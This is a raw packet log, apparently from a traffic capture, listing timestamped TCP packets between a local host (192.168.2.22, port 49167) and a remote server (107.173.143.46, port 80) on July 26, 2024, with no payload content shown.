Jul 26, 2024 09:30:08.748694897 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748718977 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.748725891 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.748847961 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748859882 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748872042 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748895884 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.748912096 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.748914957 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748927116 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748939037 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748949051 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.748958111 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748963118 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.748972893 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748980999 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.748985052 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.748991966 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.749003887 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.749020100 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.749583960 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.749628067 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.749711990 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.749722004 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.749732971 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.749753952 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.749758959 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.749766111 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.749771118 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.749778032 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.749783993 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.749790907 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.749797106 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.749809027 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.749809980 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.749821901 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.749821901 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.749833107 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.749836922 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.749852896 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.749855995 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.749866009 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.749866009 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.749876976 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.749881029 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.749890089 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.749896049 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.749900103 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.749908924 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.749926090 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.749936104 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.749947071 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.749958992 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.749970913 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.749990940 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.750004053 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.750015020 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.750029087 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.750040054 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.750051975 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.750055075 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.750072956 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.750089884 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.750981092 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.751025915 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.751027107 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.751039982 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.751058102 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.751065016 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.751070976 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.751101017 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.751166105 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.751203060 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.751255035 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.751266956 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.751279116 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.751291990 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.751307011 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.751312017 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.751322985 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.751343012 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.751344919 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.751354933 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.751367092 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.751378059 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.751379013 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.751395941 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.751410961 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.834073067 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834096909 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834110022 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834115982 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834132910 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834147930 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834160089 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834166050 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834172964 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834183931 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834191084 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834223032 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.834244013 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834249973 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834249973 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.834261894 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834269047 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834280968 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834286928 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834294081 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.834300995 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834306955 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834307909 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.834320068 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.834341049 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.834367990 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834373951 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834386110 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834408998 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.834438086 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.834451914 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834458113 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834470034 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834485054 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834492922 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834505081 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.834506035 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834513903 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834522009 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834547043 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.834561110 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834567070 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834567070 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.834573984 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834580898 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834590912 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.834594011 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834611893 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.834630966 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.834696054 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834702015 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834705114 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.834708929 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834716082 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834726095 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.834728003 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834784031 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.834836960 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.834872007 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834872007 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.834877014 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834888935 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834894896 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834904909 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834911108 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834920883 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.834923029 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834928036 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834933996 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834944010 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.834947109 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834979057 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.834990978 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.835002899 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.835007906 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.835012913 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.835020065 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.835046053 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.835079908 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.835428953 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.835434914 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.835447073 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.835481882 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.835504055 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.835510015 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.835521936 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.835527897 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.835558891 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.835582018 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.835583925 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.835654020 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.835664034 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.835695982 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.835726023 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.835732937 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.835745096 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.835752010 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.835772038 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.835807085 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.835858107 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.835864067 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.835877895 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.835884094 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.835891008 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.835901976 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.835908890 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.835912943 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.835921049 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.835947990 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.836581945 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.836594105 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.836601973 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.836643934 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.836666107 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.836672068 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.836684942 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.836690903 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.836698055 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.836726904 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.836744070 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.836771011 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.836776972 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.836788893 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.836793900 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.836801052 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.836806059 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.836824894 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.836831093 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.836842060 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.836848021 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.836863995 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.836872101 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.836899042 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.836924076 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.836925983 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.836930037 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.836941957 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.836951971 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.836972952 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.837124109 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.837750912 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.837852001 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.837867975 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.837872982 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.837901115 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.837905884 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.837907076 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.837927103 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.838016987 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.838022947 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.838035107 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.838040113 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.838047028 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.838052034 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.838057995 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.838063955 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.838092089 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.838109970 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.838115931 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.838126898 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.838150024 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.838162899 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.921777010 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.921801090 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.921813965 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.921818972 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.921829939 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.921834946 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.921843052 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.921922922 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.921935081 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.921940088 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.921941042 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.921945095 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.921951056 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.921956062 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.921968937 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.921969891 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.921974897 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.921979904 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.921981096 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.921994925 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.922008991 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.922039032 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.922051907 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922058105 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922068119 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922094107 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.922141075 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922147989 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922158003 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922163010 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922168016 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922179937 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922194958 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.922208071 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.922353983 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922359943 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922365904 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.922378063 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922383070 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922394037 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.922398090 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922404051 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922409058 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.922415018 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922420979 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922434092 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922445059 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922445059 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.922445059 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.922451019 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922456980 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922462940 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922468901 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922473907 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.922473907 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.922481060 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922486067 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922491074 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922502995 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.922502995 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922502995 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.922502995 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.922518015 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922523975 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.922523975 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922529936 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922535896 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922557116 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.922580957 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.922591925 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922597885 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922610998 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922616959 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922641993 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.922657967 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:08.922744036 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922750950 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922763109 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922766924 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922772884 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922785044 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922791004 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:08.922796011 CEST	80	49167	107.173.143.46	192.168.2.22
